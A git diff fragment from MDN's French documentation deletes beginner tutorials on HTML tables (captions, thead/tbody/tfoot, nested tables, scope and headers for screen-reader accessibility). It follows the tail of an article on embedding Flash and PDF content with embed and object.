Si vous avez besoin d'intégrer du contenu de greffon, vous aurez besoin de ce minimum d'information :

- -

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 {{htmlelement("embed")}}{{htmlelement("object")}}
{{glossary("URL")}} du contenu à intégrer{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
{{glossary("type MIME", 'type de media')}} précis du contenu intégré{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
hauteur et largeur (en pixels CSS) de la boîte contrôlée par le greffon{{htmlattrxref('height','embed')}}
- {{htmlattrxref('width','embed')}}		{{htmlattrxref('height','object')}}
- {{htmlattrxref('width','object')}}
noms et valeurs à passer en paramètre au greffonattributs adéquats avec ces noms et valeurséléments de la simple balise {{htmlelement("param")}}, contenus dans <object>
contenu HTML indépendant en repli en cas de ressources inaccessiblesnon pris en charge (<noembed> a été abandonné)contenu dans <object>, après les éléments <param>
- -

 

- -
-

Note : <object> requiert un attribut data, un attribut type, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). typemustmatch empêche le fichier incorporé d'être exécuté avant que l'attribut type indique le type exact de média. typemustmatch  peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon).

-
- -

Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer un film Flash (voyez ceci en direct sur Github ainsi que le code source également):

- -
<embed src="whoosh.swf" quality="medium"
-       bgcolor="#ffffff" width="550" height="400"
-       name="whoosh" align="middle" allowScriptAccess="sameDomain"
-       allowFullScreen="false" type="application/x-shockwave-flash"
-       pluginspage="http://www.macromedia.com/go/getflashplayer">
- -

Plutôt horrible, n'est-ce pas ? Le HTML généré par l'outil Adobe Flash avait tendance à être encore pire, utilisant un élément <objet> avec un élément <embed> intégré pour couvrir toutes les bases (voir un exemple.) Flash a même été utilisé avec succès comme contenu de repli pour la vidéo HTML5, pendant un certain temps, mais cela est de plus en plus souvent considéré comme non nécessaire.

- -

Regardons maintenant un exemple avec <object> ; il intègre  un PDF dans une  (voir  l'exemple en direct et le code source) :

- -
<object data="mypdf.pdf" type="application/pdf"
-        width="800" height="1200" typemustmatch>
-  <p>Vous ne possédez pas de greffon PDF, mais vous pouvez <a href="myfile.pdf">télécharger le fichier PDF.</a></p>
-</object>
- -

Les PDF étaient un tremplin nécessaire entre le papier et le numérique, mais ils posent de nombreux problèmes d'accessibilité et peuvent être difficiles à lire sur de petits écrans. Ils ont encore tendance à être populaires dans certains cercles, mais il est préférable d'établir un lien vers eux pour qu'ils puissent être téléchargés ou lus sur une page séparée, plutôt que de les intégrer dans une page Web.

- -

Le cas « greffons »

- -

Il était une fois des greffons qui s'étaient rendus indispensables sur le Web. Vous souvenez-vous de l'époque où vous deviez installer Adobe Flash Player juste pour regarder un film en ligne ? Et puis vous avez constamment reçu des alertes ennuyeuses pour la mise à jour de Flash Player et de votre environnement d'exécution Java. Depuis, les technologies Web sont devenues beaucoup plus robustes, et cette époque est révolue. Pour la plupart des applications, il est temps d'arrêter de diffuser du contenu dépendant de greffons et de commencer à tirer profit des technologies Web à la place.

- -

Mettez‑vous à portée de tout le monde. Tout le monde a un navigateur, mais les greffons sont de plus en plus rares, surtout chez les utilisateurs mobiles. Puisque le Web est largement utilisable sans greffons, les gens préfèront aller sur les sites de vos concurrents plutôt que d'installer un greffon.

- - - -

Alors, que faire ? Si vous avez besoin d'interactivité, HTML et {{glossary("JavaScript")}} peuvent facilement faire le travail pour vous sans besoin d'applets Java ou d'une technologie ActiveX/BHO dépassée. Au lieu de compter sur Adobe Flash, utilisez la vidéo HTML5 pour vos besoins en médias, SVG pour les graphiques vectoriels et Canvas pour les images et animations complexes. Peter Elst écrivait déjà il y a quelques années qu'Adobe Flash est rarement le bon outil pour le travail, sauf pour les jeux spécialisés et les applications d'affaires. Quant à ActiveX, même le navigateur{{glossary("Microsoft Edge", "Edge")}} de Microsoft ne le prend plus en charge.

- -

Résumé

- -

Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations.

- -

D'autres techniques impliquent l'intégration de contenu externe en plus de celles discutées ici. Nous en avons vu dans des articles précédents, comme {{htmlelement("video")}}}, {{htmlelement("audio")}}, et {{htmlelement("img")}}}, mais il y en a d'autres à découvrir, comme {{htmlelement("canvas")}} pour les graphiques 2D et 3D générés en JavaScript, et {{htmlelement("svg")}} pour intégrer des graphiques vectoriels. Nous verrons SVG dans le prochain article de ce module.

- -

 

- -

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git a/files/fr/apprendre/html/tableaux/advanced/index.html b/files/fr/apprendre/html/tableaux/advanced/index.html deleted file mode 100644 index 30815fb4ec..0000000000 --- a/files/fr/apprendre/html/tableaux/advanced/index.html +++ /dev/null @@ -1,479 +0,0 @@ ---- -title: 'Tableaux HTML : dispositions avancées et accessibilité' -slug: Apprendre/HTML/Tableaux/Advanced -tags: - - Accessibilité - - Apprentissage - - Article - - Avancés - - Codage - - Débutant - - En-têtes - - HTML - - Imbrication - - Portée - - Tableaux - - caption - - resume - - tbody - - tfoot - - thead -translation_of: Learn/HTML/Tables/Advanced ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -

Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants.

- - - - - - - - - - - - -
Prérequis :Les bases de HTML (voir Introduction au HTML).
Objectif :En apprendre plus sur les fonctionnalités HTML plus avancées et l'accessibilité aux tableaux.
- -

Ajouter un titre aux tableaux avec <caption>

- -

Vous pouvez intituler un tableau en mettant son titre dans un élément {{htmlelement("caption")}} et en englobant le tout dans un élément {{htmlelement("table")}}. Mettez le titre juste après la balise ouvrante <table>.

- -
<table>
-  <caption>Dinosaures dans le Jurassique</caption>
-
-  ...
-</table>
- -

Comme vous pouvez le voir sur le bref exemple ci-dessus, le titre consiste en une description synthétique du contenu du tableau. C'est utile pour tous les lecteurs qui souhaitent savoir rapidement si le tableau peut leur être utile, sans avoir à parcourir tout le contenu, en particulier s'ils sont malvoyants. Plutôt que de faire lire au lecteur d'écran de nombreuses cellules pour savoir sur quoi porte le tableau, il ou elle peut se fier au titre, puis décider de lire ou non le tableau dans le détail.

- -

Le titre est placé directement sous la balise <table>.

- -
-

Note : L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément <table> pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément <caption>,  car summary est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTLM5, et ne peut être lu par l'utilisateur courant  (il n'apparaît pas dans la page).

-
- -

Apprentissage actif : Ajouter un titre

- -

Essayons en revisitant un exemple rencontré dans l'article précédent.

- -
    -
  1. Ouvrez le planning du professeur de langue de la fin de Tableaux HTML : notions de base ou faites une copie locale du fichier timetable-fixed.html.
    2. -
  2. Ajoutez un titre approprié pour le tableau.
    3. -
  3. Enregistrez votre code et ouvrez-le dans un navigateur pour voir à quoi il ressemble.
    4. -
- -
-

Note: Vous pouvez trouver notre version sur GitHub — voir timetable-caption.html (voir aussi directement).

-
- -

Ajout d'une structure avec <thead>, <tfoot>, et <tbody>

- -

Comme vos tableaux deviennent un peu plus structurellement complexes, il est utile d'en améliorer la définition. Une façon claire d'y parvenir consiste à utiliser les éléments {{htmlelement("thead")}}, {{htmlelement("tfoot")}} et {{htmlelement("tbody")}}, qui vous permettent de marquer l'en-tête, le pied et le corps du tableau.

- -

Ces éléments ne rendent pas le tableau plus accessible aux utilisateurs de lecteurs d'écran, et n'entraînent aucune amélioration visuelle par eux-mêmes. Ils sont cependant très utiles pour la présentation et la mise en page — agissant comme des accroches pour l'ajout des CSS. Pour vous donner quelques exemples intéressants, dans le cas d'un grand tableau, vous pouvez répéter l'en-tête et le pied de page sur chaque page imprimée ; vous pouvez prévoir l'affichage du corps sur une seule page et accéder au contenu par défilement vers le haut ou vers le bas.

- -

Pour les utiliser :

- - - -
-

Note : <tbody> est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément <tbody> et regardez le code HTML dans les outils de développement de votre navigateur — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi  vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau.

-
- -

Apprentissage actif : Ajout d'une structure au tableau

- -

Mettons en œuvre ces nouveaux éléments.

- -
    -
  1. D'abord, faites une copie locale des fichiers spending-record.html et minimal-table.css dans un nouveau dossier.
    2. -
  2. Essayez de les ouvrir dans un navigateur — vous verrez que cela paraît correct, mais gagnerait à être amélioré. La ligne "SUM" qui contient les totaux des montants dépensés semble être au mauvais endroit et il manque certains détails du code.
    3. -
  3. Mettez la ligne d'en-têtes en évidence avec l'élément <thead> , la ligne des totaux ("SUM") dans un <tfoot>, et le reste du contenu dans un <tbody>.
    4. -
  4. Enregistrez et actualisez, et vous verrez que l'ajout de l'élément <tfoot> a renvoyé la ligne "SUM" en bas du tableau.
    5. -
  5. Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}}  pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ».
    6. -
  6. Ajoutons un style supplémentaire au tableau, pour vous donner une idée de l'utilité de ces éléments pour l'application des CSS. Dans le <head> du document HTML, vous pouvez voir un élément {{htmlelement("style")}} vide, ajoutez les lignes suivantes de code CSS : - 
    tbody {
-  font-size: 90%;
-  font-style: italic;
-}
-
-tfoot {
-  font-weight: bold;
-}
-
    -
    7. -
  7. Enregistrez, actualisez et regardez le résultat. Si <tbody> et <tfoot> n'étaient pas en place, vous devriez écrire plus de commandes plus complexes (sélection/règles) pour l'application des mêmes styles.
    8. -
- -
-

Note : Nous ne nous attendons pas à ce que vous compreniez les CSS maintenant. Vous en apprendrez plus avec les modules à propos des CSS (Introduction aux CSS est un bon moyen de commencer ; il y a aussi un article spécifique sur l'esthétique des tables).

-
- -

Le code de votre tableau fini devrait ressembler à quelque chose comme :

- - - -

{{ EmbedLiveSample('Hidden_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

- -
-

Note : Vous pouvez aussi le trouver sur Github  spending-record-finished.html (voir aussi le résultat directement).

-
- -

Tableaux imbriqués

- -

Il est possible d'inclure un tableau dans un autre, à condition d'en spécifier la structure complète, y compris l'élément <table>. Ce n'est généralement pas vraiment conseillé, car cette opération rend le balisage plus confus et moins accessible pour les utilisateurs de lecteurs d'écran, alors que dans de nombreux cas, il suffit d'insérer des cellules/lignes/colonnes supplémentaires dans un tableau existant. Mais il est parfois nécessaire de le faire, quand par exemple vous souhaitez importer facilement des données provenant d'autres sources.

- -

Le balisage suivant montre un tableau simple imbriqué :

- -
<table id="table1">
-  <tr>
-    <th>title1</th>
-    <th>title2</th>
-    <th>title3</th>
-  </tr>
-  <tr>
-    <td id="nested">
-      <table id="table2">
-        <tr>
-          <td>cell1</td>
-          <td>cell2</td>
-          <td>cell3</td>
-        </tr>
-      </table>
-    </td>
-    <td>cell2</td>
-    <td>cell3</td>
-  </tr>
-  <tr>
-    <td>cell4</td>
-    <td>cell5</td>
-    <td>cell6</td>
-  </tr>
-</table>
- -

Voici la sortie qui en résulte :

- - - - - - - - - - - - - - - - - - - -
title1title2title3
- - - - - - - - -
cell1cell2cell3
- 		cell2cell3
cell4cell5cell6
- -

Tableaux pour utilisateurs malvoyants

- -

Rappelons brièvement comment nous utilisons les tableaux de données. Un tableau peut être un outil pratique pour accéder rapidement à une donnée et rechercher différentes valeurs. Par exemple, un bref coup d'oeil sur le tableau suivant suffit pour savoir combien de bagues ont été vendues à Gand en août dernier. Pour comprendre ces informations, nous faisons visuellement l'association entre les données du tableau et les en-têtes de colonnes et/ou de lignes.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Articles vendus Août 2016
  VêtementsAccessoires
  PantalonsJupesRobesBraceletsBagues
BelgiqueAnvers5622437223
Gand4618506115
Bruxelles5127386928
Pays-basAmsterdam8934698538
Utrecht8012433619
- -

Mais que faire si vous ne pouvez pas créer ces associations visuelles ? Comment pouvez-vous lire un tableau comme celui ci-dessus ? Les personnes malvoyantes utilisent souvent un lecteur d'écran qui leur lit les informations des pages web. Ce n'est pas un problème quand vous lisez du texte brut, mais l'interprêtation d'un tableau peut constituer un défi pour une personne aveugle. Néanmoins, avec le balisage approprié, nous pouvons remplacer des associations visuelles par des associations programmées.

- -
-

Note : Il y a environ 253 millions de personnes vivant avec des déficiences visuelles selon les  données de l'OMS en 2017.

-
- -

Cette partie de l'article indique des techniques avancées pour rendre les tableaux les plus accessibles possible.

- -

Utilisation des en-têtes de colonnes et de lignes

- -

Les lecteurs d'écran identifieront tous les en-têtes et les utiliseront pour réaliser automatiquement les associations entre ces en-têtes et les cellules correspondantes.  La combinaison des en-têtes des colonnes et des lignes doit permettre d'identifier et d'interprêter les données de chaque cellule. Ainsi, les utilisateurs de lecteurs d'écran peuvent accéder aux données d'une façon similaire à celle des utilisateurs voyants.

- -

Nous avons déjà traité des en-têtes dans notre article précédent — voir Ajouter des en-têtes avec <th> .

- -

L'attribut scope

- -

Aux balises <th>, sujet de l'article précédent, ajoutons l'attribut {{htmlattrxref("scope","th")}}. Il peut être mentionné dans un élément <th> pour indiquer précisément à un lecteur d'écran si la cellule contient un en-tête de colonne ou de ligne — par exemple, sommes‑nous dans un en-tête de ligne, ou de colonne ? En revenant à notre exemple d'enregistrement de dépenses vu plus tôt, il est possible de définir sans ambiguité un en-tête de colonne comme étant un en-tête de colonne ainsi :

- -
<thead>
-  <tr>
-    <th scope="col">Achats</th>
-    <th scope="col">Ou ?</th>
-    <th scope="col">Date</th>
-    <th scope="col">Avis</th>
-    <th scope="col">Coût (€)</th>
-  </tr>
-</thead>
- -

Et chaque ligne pourrait également avoir une définition de son en-tête comme ceci (à condition d'avoir ajouté des en-têtes de lignes comme des en-têtes de colonnes):

- -
<tr>
-  <th scope="row">Coupe de cheveux</th>
-  <td>Coiffeur</td>
-  <td>12/09</td>
-  <td>Bonne idée</td>
-  <td>30</td>
-</tr>
- -

Les lecteurs d'écran reconnaîtront un balisage structuré comme celui-ci et permettront à leurs utilisateurs de lire en une fois une colonne ou une ligne entière par exemple.

- -

scope a deux autres valeurs possibles — colgroup et rowgroup. Elles sont utilisées pour les en-têtes qui couvrent plusieurs colonnes ou lignes. Si vous revenez au tableau « Articles vendus... » au début de ce paragraphe du présent article, vous voyez que la cellule « Vêtements » se trouve au-dessus des cellules  « Pantalons », « Jupes » et « Robes ». Toutes ces cellules sont marquées comme en-têtes (<th>), mais « Vêtements » est un en-tête de niveau supérieur qui définit trois « sous-en-têtes ». « Vêtements » comportera donc un attribut  scope="colgroup", alors que les autres doivent recevront un attribut scope="col".

- -

Les attributs id et headers

- -

Une alternative à l'usage de l'attribut scope est l'utilisation des attributs {{htmlattrxref("id")}} et {{htmlattrxref("headers", "td")}} pour créer une association entre en-têtes et cellules. Ils sont utilisés de la manière suivante :

- -
    -
  1. Vous ajoutez un identifiant unique id à chaque élément <th>.
    2. -
  2. Vous ajoutez un attribut headers à chaque élément  <td> . Chaque attribut headers doit contenir une liste des id de tous les éléments <th> qu'il contient, séparés par des espaces.
    3. -
- -

Votre tableau HTML possède donc la position explicite de chaque cellule dans le tableau, définie par les en-têtes de chaque colonne et chaque ligne qui en font partie, un peu comme dans une feuille de calcul. Pour un bon fonctionnement, le tableau a réellement besoin d'en-têtes de colonnes et de lignes.

- -

En revenant à notre exemple de tableau des dépenses et des coûts, les deux extraits précédents pourraient être réécrits ainsi :

- -
<thead>
-  <tr>
-    <th id="purchase">Achats</th>
-    <th id="location">Où ?</th>
-    <th id="date">Date</th>
-    <th id="evaluation">Avis</th>
-    <th id="cost">Coût (€)</th>
-  </tr>
-</thead>
-<tbody>
-<tr>
-  <th id="haircut">Coupe de cheveux</th>
-  <td headers="location haircut">Coiffeur</td>
-  <td headers="date haircut">12/09</td>
-  <td headers="evaluation haircut">Bonne idée</td>
-  <td headers="cost haircut">30</td>
-</tr>
-
-  ...
-
-</tbody>
- -
-

Note: Cette méthode crée des associations très précises entre en-têtes et données mais elle utilise beaucoup plus de balisage et ne laisse aucune marge d'erreur.  L'approche scope est généralement suffisante pour la plupart des tableaux.

-
- -

Apprentissage actif : jouer avec scope et headers

- -
    -
  1. Pour cet exercice final, nous aimerions que vous fassiez une copie locale de items‑sold.html et minimal-table.css, dans un nouveau répertoire.
    2. -
  2. Maintenant essayez d'ajouter un attribut scope approprié pour améliorer ce tableau.
    3. -
  3. Enfin, essayez avec une autre copie du fichier initial, de faire un tableau plus accessible en utilisant les attributs id et headers.
    4. -
- -
-

Note : Vous pouvez contrôler votre travail en le comparant à nos exemples finis  — voir items-sold-scope.html (voir aussi directement)
-          et items-sold-headers.html (voir aussi directement).

-
- -

Résumé

- -

Il reste encore quelques autres choses à apprendre sur les tableaux HTML, mais nous vous avons vraiment indiqué tout ce qu'il est nécessaire de savoir pour le moment. À ce stade, vous voulez peut-être en apprendre plus sur les styles de tableaux HTML — voyez alors Décor des tableaux.

- -
{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}
- -
-
-

Dans ce module

- - -
-
diff --git a/files/fr/apprendre/html/tableaux/basics/index.html b/files/fr/apprendre/html/tableaux/basics/index.html deleted file mode 100644 index b218a2b677..0000000000 --- a/files/fr/apprendre/html/tableaux/basics/index.html +++ /dev/null @@ -1,579 +0,0 @@ ---- -title: 'Tableaux HTML : notions de base' -slug: Apprendre/HTML/Tableaux/Basics -tags: - - Apprentissage - - Article - - Bases - - Codage - - Débutant - - En-têtes - - HTML - - Tableaux - - cellule - - col - - colgroup - - colspan - - rangées - - rowspan -translation_of: Learn/HTML/Tables/Basics ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -
-
-
Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, les cellules, les en-têtes, les cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.
-
-
- -
-
- - - - - - - - - - - - -
Prérequis :Les bases de HTML (voir Introduction au HTML).
Objectif :Se familiariser avec les tableaux HTML.
- -

Qu'est-ce qu'un tableau ?

- -

Un tableau est un ensemble structuré de données (table de données) présentées en lignes et colonnes. Un tableau vous permet de retrouver rapidement et facilement des valeurs au croisement entre différents types de données, par exemple : une personne et son âge, ou un jour et la semaine, ou les horaires d'ouverture de la piscine du quartier.

- -

A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47.

- -

A swimming timetable showing a sample data table

- -

Les tableaux sont très couramment utilisés dans la société humaine, et depuis très longtemps, pour preuve ce document du recensement américain datant de 1800 :

- -

A very old parchment document; the data is not easily readable, but it clearly shows a data table being used.

- -

Il n'est donc pas étonnant que les créateurs du HTML fournissent un moyen de structurer et de présenter des tableaux de données sur le Web .

- -

Comment fonctionne un tableau ?

- -

L'avantage du tableau tient dans sa rigueur. L'information est facilement interprétée par  des associations visuelles entre les en‑têtes de lignes et colonnes. Cherchez dans la table ci-dessous par exemple et trouvez une planète géante gazeuse du système jovien avec 62 lunes. Vous pouvez trouver la réponse en associant les en-têtes de lignes et colonnes pertinents.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Données sur les planètes du système solaire (repris de Nasa's Planetary Fact Sheet - Metric).
NomMasse (1024kg)Diamètre (km)Densité (kg/m3)Gravité (m/s2)Durée du jour (hours)Distance du Soleil (106km)Température moyenne (°C)Nombre de lunesNotes
Planètes telluriquesMercure0.3304,87954273.74222.657.91670La plus proche du Soleil
Venus4.8712,10452438.92802.0108.24640
Terre5.9712,75655149.824.0149.6151Notre monde
Mars0.6426,79239333.724.7227.9-652La planète rouge
Planètes joviennesGéantes gazeusesJupiter1898142,984132623.19.9778.6-11067La plus grosse planète
Saturne568120,5366879.010.71433.5-14062
Géantes glacéesUranus86.851,11812718.717.22872.5-19527
Neptune10249,528163811.016.14495.1-20014
Planètes nainesPluton0.01462,37020950.7153.35906.4-2255Déclassée en tant que planète en 2006 mais décision controverséee.
- -

Lorsque cela est fait correctement, même les personnes malvoyantes peuvent interpréter des données tabulaires dans un tableau HTML — un tableau HTML réussi doit permettre la perception des données à des utilisateurs déficients visuels ou malvoyants.

- -

Style de tableau

- -

Vous pouvez également regarder sur l'exemple réel sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible  — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un  CSS plus signifiant.

- -

Ne vous faites pas d'illusions ; pour obtenir un tableau avec un certain effet sur le web, vous devez fournir un minimum d'informations de style avec CSS, ainsi qu'une structure solide avec HTML. Dans ce module nous nous concentrons sur la partie HTML ; pour en savoir plus sur la partie CSS, vous devrez lire notre article Style et tableaux quand vous aurez fini ici.

- -

Nous n'approfondirons pas le CSS dans ce module, mais nous avons écrit une feuille de style minimale CSS à utiliser ici, feuille de style qui rendra les tableaux plus lisibles qu'avec un format par défaut sans style. Vous trouverez cette feuille de style ici, et également un exemple HTML d'application de cette feuille de style là — ensemble ils vous donneront un bon point de départ pour expérimenter sur les tableaux HTML.

- -

Quand NE PAS utiliser de tableaux en HTML ?

- -

Les tableaux HTML ne doivent être utilisés que pour des données tabulaires — c'est pour cela qu'ils sont conçus. Malheureusement, beaucoup de gens ont utilisé les tableaux HTML pour organiser des pages Web, par exemple : une ligne pour contenir l'en-tête, une ligne pour les colonnes de contenu, une ligne pour le pied de page, etc. Vous pouvez trouver plus de détails et un exemple avec Mises en page dans notre Module d'apprentissage à l'Accessibilité. Cette dispostion a été couramment utilisée car la prise en charge des CSS parmi les navigateurs avait pour coutume d'être effroyable ; ces mises en page sont beaucoup moins fréquentes de nos jours, mais vous pouvez toujours les voir dans certains recoins du Web.

- -

Bref, utiliser les tableaux pour la mise en page au lieu des techniques des CSS est une mauvaise idée. En voici les principales raisons :

- -
    -
  1. Les tableaux de mise en page diminuent l'accessibilité aux malvoyants : les lecteurs d'écran, utilisés par les non-voyants, interprêtent les balises d'une page HTML et lisent à haute voix le contenu à l'utilisateur. Comme les tables ne sont pas le bon outil pour la mise en page et que le balisage est plus complexe qu'avec les techniques de mise en page des CSS, la sortie des lecteurs d'écran sera source de confusion pour leurs utilisateurs.
    2. -
  2. Les tables produisent de la bouillie : Comme mentionné ci-dessus, les mises en page sur la base de tableaux comportent généralement des structures de balisage plus complexes que des techniques de mise en page appropriées. Le code résultant sera plus difficile à écrire, à maintenir et à déboguer.
    3. -
  3. Les tableaux ne s'adaptent pas automatiquement : Si vous utilisez les propriétés de mise en page ({{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}} ou {{htmlelement("div")}}), leur largeur est par défaut 100% de celle du parent. Par contre, les tableaux sont dimensionnés en fonction de leur contenu par défaut, de sorte que des mesures supplémentaires sont nécessaires pour que le style du tableau fonctionne effectivement sur les différents types d'écran.
    4. -
- -

Apprentissage actif : créer votre premier tableau

- -

Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et construisons un tableau simple.

- -
    -
  1. Avant tout, faites une copie locale de blank-template.html et minimal-table.css dans un nouveau répertoire de votre ordinateur.
    2. -
  2. Le contenu de chaque tableau est encadré par ces deux balises : <table></table>. Ajoutez‑les dans le corps de votre HTML.
    3. -
  3. Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément  <td> (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : - 
    <td>Bonjour, je suis votre première cellule.</td>
    -
    4. -
  4. Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : - 
    <td>Bonjour, je suis votre première cellule </td>
-<td>je suis votre deuxième cellule</td>
-<td>je suis votre troisième cellule</td>
-<td>je suis votre quatrième cellule</td>
    -
    5. -
- -

Comme vous le verrez, les cellules ne sont pas placées les unes en dessous des autres, mais elles sont automatiquement affichées dans une même ligne. chaque élément <td> crée une cellule simple et ensemble elles forment la première ligne. Toutes les cellules que nous ajoutons allongent la ligne.

- -

Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise <tr> (« tr » comme « table rangée »). Étudions cela maintenant.

- -
    -
  1. Placez les quatre cellules que vous avez créées entre deux balises <tr> ainsi : - - 
    <tr>
-  <td>Bonjour, je suis votre première cellule </td>
-  <td>je suis votre deuxième cellule </td>
-  <td>je suis votre troisième cellule </td>
-  <td>je suis votre quatrième cellule </td>
-</tr>
    -
    2. -
  2. Maintenant, vous avez fait une ligne, faites en encore une ou deux — chaque ligne doit être encadrée de <tr>, et comprend chaque cellule encadrée par <td>.
    3. -
- -

Il devrait en résulter un tableau qui ressemble à :

- - - - - - - - - - - - - - - - -
Bonjour, je suis votre première cellule.je suis votre deuxième cellule.je suis votre troisième celluleje suis votre quatrième cellule
Deuxième ligne, première cellule.Cellule 2.Cellule 3.Cellule 4.
- -
-

Note: Vous pouvez également trouver cela sur GitHub simple-table.html (voir en direct aussi).

-
- -

Ajouter des en-têtes avec <th>

- -

Intéressons-nous maintenant aux en-têtes du tableau — cellules spéciales qui débutent une ligne ou une colonne et définissent le type de données que contiennent la rangée ou la colonne (à titre d'exemple, voir les cellules "Personne" et "Âge" dans le premier exemple illustré dans cet article). Pour comprendre pourquoi ils sont utiles, regardez l'exemple du tableau suivant. Tout d'abord, le code source :

- -
<table>
-  <tr>
-    <td>&nbsp;</td>
-    <td>Knocky</td>
-    <td>Flor</td>
-    <td>Ella</td>
-    <td>Juan</td>
-  </tr>
-  <tr>
-    <td>Race</td>
-    <td>Jack Russell</td>
-    <td>Poodle</td>
-    <td>Streetdog</td>
-    <td>Cocker Spaniel</td>
-  </tr>
-  <tr>
-    <td>Age</td>
-    <td>16</td>
-    <td>9</td>
-    <td>10</td>
-    <td>5</td>
-  </tr>
-  <tr>
-    <td>Propriétaire</td>
-    <td>Belle-mère</td>
-    <td>Moi</td>
-    <td>Moi</td>
-    <td>Belle-soeur</td>
-  </tr>
-  <tr>
-    <td>Habitudes alimentaires</td>
-    <td>Mange tous les restes</td>
-    <td>Grignotte la nourriture</td>
-    <td>Mange copieusement</td>
-    <td>Mange jusqu'à ce qu'il éclate</td>
-  </tr>
-</table>
- -

Maintenant, le rendu du tableau réel :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
KnockyFlorEllaJuan
RaceJack RussellPoodleStreetdogCocker Spaniel
Age169105
PropriétaireBelle-mèreMoiMoiBelle-soeur
Habitudes alimentairesMange tous les restesGrignotte la nourritureMange copieusementMange jusqu'à ce qu'il éclate
- -

Le problème ici c'est que, bien que vous puissiez comprendre le tableau, il n'est pas aussi facile de croiser les données que cela pourrait être. Si les en-têtes de colonnes et de lignes se démarquaient d'une manière ou d'une autre, ce serait mieux.

- -

Apprentissage actif : en-tête de tableau

- -

Améliorons ce tableau.

- -
    -
  1. En premier lieu, faites une copie des fichiers dogs-table.html et minimal-table.css dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus.
    2. -
  2. Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise <th> (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise <td>, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les <td> des cellules entourant le tableau par des <th>.
    3. -
  3. Enregistrez votre HTML et chargez-le dans un navigateur. Vous devriez voir que les en-têtes ressemblent maintenant à des en-têtes.
    4. -
- -
-

Note : Vous pouvez trouver notre exemple achevé dogs-table-fixed.html sur GitHub (voir en direct aussi).

-
- -

Pourquoi les en-têtes sont-ils utiles ?

- -

Nous avons déjà partiellement répondu à cette question — il vous est plus facile de trouver les données que vous cherchez quand les en-têtes sont marqués clairement, et la conception globale du tableau paraît meilleure.

- -
-

Note : Les en-têtes de tableau sont accompagnés d'un style par défaut — ils sont en gras et centrés même si vous n'ajoutez pas votre propre style pour les démarquer.

-
- -

